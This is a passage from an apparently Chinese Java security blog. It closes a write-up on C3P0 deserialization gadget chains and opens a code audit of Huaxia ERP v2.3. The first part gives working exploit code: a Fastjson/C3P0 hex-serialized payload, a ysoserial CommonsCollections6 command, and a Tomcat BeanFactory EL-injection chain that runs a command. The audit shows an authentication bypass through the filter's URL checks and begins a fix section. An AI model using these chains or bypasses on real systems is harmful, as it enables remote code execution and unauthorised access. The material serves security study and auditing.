class="line"></span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">addHexAscii</span><span class="params">(<span class="type">byte</span> b, StringWriter sw)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">int</span> <span class="variable">ub</span> <span class="operator">=</span> b & <span class="number">0xff</span>;</span><br><span class="line"> <span class="type">int</span> <span class="variable">h1</span> <span class="operator">=</span> ub / <span class="number">16</span>;</span><br><span class="line"> <span class="type">int</span> <span class="variable">h2</span> <span class="operator">=</span> ub % <span class="number">16</span>;</span><br><span class="line"> sw.write(toHexDigit(h1));</span><br><span class="line"> sw.write(toHexDigit(h2));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">char</span> <span class="title function_">toHexDigit</span><span class="params">(<span class="type">int</span> h)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">char</span> out;</span><br><span class="line"> <span class="keyword">if</span> (h <= <span class="number">9</span>) out = (<span class="type">char</span>) (h + <span class="number">0x30</span>);</span><br><span class="line"> <span class="keyword">else</span> out = (<span class="type">char</span>) (h + <span class="number">0x37</span>);</span><br><span class="line"> <span class="comment">//System.err.println(h + ": " + out);</span></span><br><span class="line"> <span class="keyword">return</span> out;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//将类序列化为字节数组</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] tobyteArray(Object o) <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(bao);</span><br><span class="line"> oos.writeObject(o);</span><br><span class="line"> <span class="keyword">return</span> bao.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//字节数组转十六进制</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">toHexAscii</span><span class="params">(<span class="type">byte</span>[] bytes)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> bytes.length;</span><br><span class="line"> <span class="type">StringWriter</span> <span class="variable">sw</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringWriter</span>(len * <span class="number">2</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < len; ++i)</span><br><span class="line"> addHexAscii(bytes[i], sw);</span><br><span class="line"> <span class="keyword">return</span> sw.toString();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">String</span> <span class="variable">hex</span> <span class="operator">=</span> toHexAscii(tobyteArray(CC4()));</span><br><span class="line"> System.out.println(hex);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">//Fastjson<1.2.47</span></span><br><span class="line"><span class="comment">// String payload = "{" +</span></span><br><span class="line"><span class="comment">// "\"1\":{" +</span></span><br><span class="line"><span class="comment">// "\"@type\":\"java.lang.Class\"," +</span></span><br><span class="line"><span class="comment">// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +</span></span><br><span class="line"><span class="comment">// "}," +</span></span><br><span class="line"><span class="comment">// "\"2\":{" +</span></span><br><span class="line"><span class="comment">// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +</span></span><br><span class="line"><span class="comment">// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +</span></span><br><span class="line"><span class="comment">// "}" +</span></span><br><span class="line"><span class="comment">// "}";</span></span><br><span class="line"> <span class="comment">//低版本利用</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">"{"</span> +</span><br><span class="line"> <span class="string">"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\","</span> +</span><br><span class="line"> <span class="string">"\"userOverridesAsString\":\"HexAsciiSerializedMap:"</span>+ hex + <span class="string">";\","</span> +</span><br><span class="line"> <span class="string">"}"</span>;</span><br><span class="line"> JSON.parse(payload);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221503169.png" alt="在这里插入图片描述"></p><p>当然也可以使用 CB 链或其他链子</p><p>也可以通过加载反序列化对象来执行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar .\ysoserial-all.jar CommonsCollections6 <span class="string">"open -a Calculator"</span> > calc.ser</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P0_all</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException {</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser"</span>);</span><br><span class="line"> <span class="type">byte</span>[] data = toByteArray(in);</span><br><span class="line"> in.close();</span><br><span class="line"> <span class="type">String</span> <span class="variable">HexString</span> <span class="operator">=</span> bytesToHexString(data, data.length);</span><br><span class="line"> System.out.println(HexString);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] toByteArray(InputStream in) <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">byte</span>[] classBytes;</span><br><span class="line"> classBytes = <span class="keyword">new</span> <span class="title class_">byte</span>[in.available()];</span><br><span class="line"> in.read(classBytes);</span><br><span class="line"> in.close();</span><br><span class="line"> <span class="keyword">return</span> classBytes;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">bytesToHexString</span><span class="params">(<span class="type">byte</span>[] bArray, <span class="type">int</span> length)</span> {</span><br><span class="line"> <span class="type">StringBuffer</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>(length);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < length; ++i) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">sTemp</span> <span class="operator">=</span> Integer.toHexString(<span class="number">255</span> & bArray[i]);</span><br><span class="line"> <span class="keyword">if</span> (sTemp.length() < <span class="number">2</span>) {</span><br><span class="line"> sb.append(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> sb.append(sTemp.toUpperCase());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> sb.toString();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到十六进制,直接去执行即可<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221503342.png" alt="在这里插入图片描述"></p><h2 id="不出网利用"><a class="markdownIt-Anchor" href="#不出网利用">#</a> 不出网利用</h2><p>当目标机器不出网,且没有 fastjson 相关依赖时,C3P0 该如何利用?</p><p>环境</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><dependency></span><br><span class="line"> <groupId>org.apache.tomcat</groupId></span><br><span class="line"> <artifactId>tomcat-catalina</artifactId></span><br><span class="line"> <version><span class="number">8.5</span><span class="number">.0</span></version></span><br><span class="line"> </dependency></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <dependency></span><br><span class="line"> <groupId>org.apache.tomcat.embed</groupId></span><br><span class="line"> <artifactId>tomcat-embed-el</artifactId></span><br><span class="line"> <version><span class="number">8.5</span><span class="number">.15</span></version></span><br><span class="line"> </dependency></span><br></pre></td></tr></table></figure><p>漏洞点位于 <code>org.apache.naming.factory.BeanFactory</code></p><p>只有一个方法 <code>getObjectInstance</code> <br> 回顾第一个链子 URL,会发现最后调用的就是该方法,而不出网的利用方式就是通过本地类的加载来进行 EL 表达式注入</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221503699.png" alt="在这里插入图片描述"></p><p>将 URL 链子执行的地方改成 EL 表达式即可,其余不用变</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;</span><br><span class="line"><span class="keyword">import</span> org.apache.naming.ResourceRef;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Referenceable;</span><br><span class="line"><span class="keyword">import</span> javax.naming.StringRefAddr;</span><br><span class="line"><span class="keyword">import</span> javax.sql.ConnectionPoolDataSource;</span><br><span class="line"><span class="keyword">import</span> javax.sql.PooledConnection;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLFeatureNotSupportedException;</span><br><span class="line"><span class="keyword">import</span> java.util.logging.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P0_Local</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">C3P0</span> <span class="keyword">implements</span> <span class="title class_">ConnectionPoolDataSource</span>, Referenceable {</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Reference <span class="title function_">getReference</span><span class="params">()</span> <span class="keyword">throws</span> NamingException {</span><br><span class="line"> <span class="type">ResourceRef</span> <span class="variable">resourceRef</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ResourceRef</span>(<span class="string">"javax.el.ELProcessor"</span>, (String)<span class="literal">null</span>, <span class="string">""</span>, <span class="string">""</span>, <span class="literal">true</span>, <span class="string">"org.apache.naming.factory.BeanFactory"</span>, (String)<span class="literal">null</span>);</span><br><span class="line"> resourceRef.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">"forceString"</span>, <span class="string">"faster=eval"</span>));</span><br><span class="line"> resourceRef.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">"faster"</span>, <span class="string">"Runtime.getRuntime().exec(\"calc\")"</span>));</span><br><span class="line"> <span class="keyword">return</span> resourceRef;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">(String user, String password)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PrintWriter <span class="title function_">getLogWriter</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogWriter</span><span class="params">(PrintWriter out)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLoginTimeout</span><span class="params">(<span class="type">int</span> seconds)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getLoginTimeout</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Logger <span class="title function_">getParentLogger</span><span class="params">()</span> <span class="keyword">throws</span> SQLFeatureNotSupportedException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayInputStream</span> <span class="variable">bain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">oin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bain)){</span><br><span class="line"> oin.readObject();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] serialize(ConnectionPoolDataSource lp) <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">PoolBackedDataSourceBase</span> <span class="variable">poolBackedDataSourceBase</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PoolBackedDataSourceBase</span>(<span class="literal">false</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">connectionPoolDataSourceField</span> <span class="operator">=</span> PoolBackedDataSourceBase.class.getDeclaredField(<span class="string">"connectionPoolDataSource"</span>);</span><br><span class="line"> connectionPoolDataSourceField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayOutputStream</span> <span class="variable">baout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baout)){</span><br><span class="line"> oout.writeObject(poolBackedDataSourceBase);</span><br><span class="line"> <span class="keyword">return</span> baout.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> C3P01.<span class="type">C3P0</span> <span class="variable">exp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">C3P01</span>.C3P0();</span><br><span class="line"> <span class="type">byte</span>[] bytes = serialize(exp);</span><br><span class="line"> unserialize(bytes);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221504152.png" alt="在这里插入图片描述"></p><h2 id="最后"><a class="markdownIt-Anchor" href="#最后">#</a> 最后</h2><p>链子整体不是很难,但是有点绕,尤其是 JNDI 部分有的对象不 debug 一下很难想象是怎么联系起来的,本文也是应该很早就写完了,奈何最近阳了,也是隔离了一段时间休养了一段,希望能把后面的时间都利用起来吧</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>华夏ERPV2.3-代码审计</title>
<link href="/2023/03/09/%E5%8D%8E%E5%A4%8FERPV2.3-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<url>/2023/03/09/%E5%8D%8E%E5%A4%8FERPV2.3-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</url>
<content type="html"><![CDATA[<p>[TOC]</p><h1 id="0x01环境搭建"><a class="markdownIt-Anchor" href="#0x01环境搭建">#</a> 0x01 环境搭建</h1><p><a href="https://github.com/jishenghua/jshERP/releases/tag/2.3">Release 华夏 ERP_v2.3・jishenghua/jshERP・GitHub</a></p><p>连数据库,改端口,直接 run</p><h1 id="0x02代码审计"><a class="markdownIt-Anchor" href="#0x02代码审计">#</a> 0x02 代码审计</h1><h2 id="filter过滤器"><a class="markdownIt-Anchor" href="#filter过滤器">#</a> Filter 过滤器</h2><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609144414753.png" alt="image-20240609144414753"></p><ul><li>ignoredUrl:表示被忽略的 URL 的模式,它使用 # 分隔了一些后缀名,如 .css、.js、.jpg、.png、.gif、.ico,这些后缀名的 URL 将不会被 LogCostFilter 过滤。</li><li>filterPath:表示需要过滤的 URL 的模式,它使用 # 分隔了一些需要过滤的 URL,如 /user/login、/user/registerUser、/v2/api-docs 等。</li></ul><p>接着是初始化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">filterPath</span> <span class="operator">=</span> filterConfig.getInitParameter(FILTER_PATH);</span><br><span class="line"> <span class="keyword">if</span> (!StringUtils.isEmpty(filterPath)) {</span><br><span class="line"> allowUrls = filterPath.contains(<span class="string">"#"</span>) ? filterPath.split(<span class="string">"#"</span>) : <span class="keyword">new</span> <span class="title class_">String</span>[]{filterPath};</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">String</span> <span class="variable">ignoredPath</span> <span class="operator">=</span> filterConfig.getInitParameter(IGNORED_PATH);</span><br><span class="line"> <span class="keyword">if</span> (!StringUtils.isEmpty(ignoredPath)) {</span><br><span class="line"> ignoredUrls = ignoredPath.contains(<span class="string">"#"</span>) ? ignoredPath.split(<span class="string">"#"</span>) : <span class="keyword">new</span> <span class="title class_">String</span>[]{ignoredPath};</span><br><span class="line"> <span class="keyword">for</span> (String ignoredUrl : ignoredUrls) {</span><br><span class="line"> ignoredList.add(ignoredUrl);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>获取两个参数・ <code>*FILTER_PATH*</code> 和 <code>*IGNORED_PATH*</code> ,检索其是否有 #,并分离然后存入数组</p><p>再来看下 <code>doFilter</code> 函数,这也是来看 Filter` 过滤器实际的作用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest request, ServletResponse response,</span></span><br><span class="line"><span class="params"> FilterChain chain)</span> <span class="keyword">throws</span> IOException, ServletException {</span><br><span class="line"> <span class="type">HttpServletRequest</span> <span class="variable">servletRequest</span> <span class="operator">=</span> (HttpServletRequest) request;</span><br><span class="line"> <span class="type">HttpServletResponse</span> <span class="variable">servletResponse</span> <span class="operator">=</span> (HttpServletResponse) response;</span><br><span class="line"> <span class="type">String</span> <span class="variable">requestUrl</span> <span class="operator">=</span> servletRequest.getRequestURI();</span><br><span class="line"> <span class="comment">//具体,比如:处理若用户未登录,则跳转到登录页</span></span><br><span class="line"> <span class="type">Object</span> <span class="variable">userInfo</span> <span class="operator">=</span> servletRequest.getSession().getAttribute(<span class="string">"user"</span>);</span><br><span class="line"> <span class="keyword">if</span>(userInfo!=<span class="literal">null</span>) { <span class="comment">//如果已登录,不阻止</span></span><br><span class="line"> chain.doFilter(request, response);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (requestUrl != <span class="literal">null</span> && (requestUrl.contains(<span class="string">"/doc.html"</span>) ||</span><br><span class="line"> requestUrl.contains(<span class="string">"/register.html"</span>) || requestUrl.contains(<span class="string">"/login.html"</span>))) {</span><br><span class="line"> chain.doFilter(request, response);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (verify(ignoredList, requestUrl)) {</span><br><span class="line"> chain.doFilter(servletRequest, response);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">null</span> != allowUrls && allowUrls.length > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">for</span> (String url : allowUrls) {</span><br><span class="line"> <span class="keyword">if</span> (requestUrl.startsWith(url)) {</span><br><span class="line"> chain.doFilter(request, response);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> servletResponse.sendRedirect(<span class="string">"/login.html"</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里理解起来也比较简单</p><p>首先是初始化的两个变量,一个请求一个响应, <code>requestUrl</code> 获取请求的 <code>Url</code></p><p>第一个 if</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">然后读取`Session`获取用户信息</span><br><span class="line">如果是登录状态则放行</span><br></pre></td></tr></table></figure><p>第二个 if</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">如果Url不为空就判断是否包含"/doc.html","/register.html"和"/login.html"</span><br><span class="line">如果包含就放行</span><br></pre></td></tr></table></figure><p>第三个 if</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">调用`verify`函数,实际上就是来检测`Url`是否是可忽视`Url`</span><br><span class="line">如果是则放行</span><br></pre></td></tr></table></figure><p>第四个 if</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">如果允许Url数组不为空,则检索Url是否在允许列表</span><br><span class="line">如果是则放行</span><br></pre></td></tr></table></figure><p>否则跳转到登录界面</p><p>可直接访问忽略的 urlpath</p><p>那么这里考虑两个问题,实际是一个问题</p><p>也就是 Filter 放行的两个数组名单,一个忽略的一个白名单</p><p>第一</p><p>其中对 <code>*ignoredList*</code> 的判断是通过一个 <code>verify</code> 函数,</p><p>相当于只匹配 <code>regex</code> 而不顾及前后缀</p><p>这里应该使用 <code>endsWith()</code> 来判断资源的后缀为 js、css 等</p><p>第二</p><p>白名单的判断通过 <code>startsWith()</code> 的话</p><p>是可以通过目录穿越来饶过认证</p><p>另外如果 <code>Url</code> 中存在 /doc.html,/register.html,/login.html 同样也会放行,也就是可以进行绕过</p><h2 id="鉴权绕过"><a class="markdownIt-Anchor" href="#鉴权绕过">#</a> 鉴权绕过</h2><h3 id="过程详解"><a class="markdownIt-Anchor" href="#过程详解">#</a> 过程详解</h3><p>前面我们说了 <code>Filter</code> 拦截器的处理规则</p><p>当 <code>Url</code> 中存在 /doc.html,/register.html,/login.html 的时候就会直接放行</p><p>这里将 session 删掉,就会重定向到 login.html 界面</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609180423714.png" alt="image-20240609180423714"></p><p>(1)如果包含下面一种情况即可放行请求,可以绕过鉴权接口,因为这里是 contains 判断存在即可</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609181811316.png" alt="image-20240609181811316"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609181105263.png" alt="image-20240609181105263"></p><p>(2)通过 verify 函数检测存在即可</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240612124239928.png" alt="image-20240612124239928"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240612121428994.png" alt="image-20240612121428994"></p><h3 id="修复方案"><a class="markdownIt-Anchor" href="#修复方案">#</a> 修复方案</h3><p>1、通过 endsWith 判断请求资源是否是以.css#.js#.jpg#.png#.gif#.ico 结尾的资源</p><p>2、通过 startsWith 来判断请求路径 /user/login,/user/registerUser 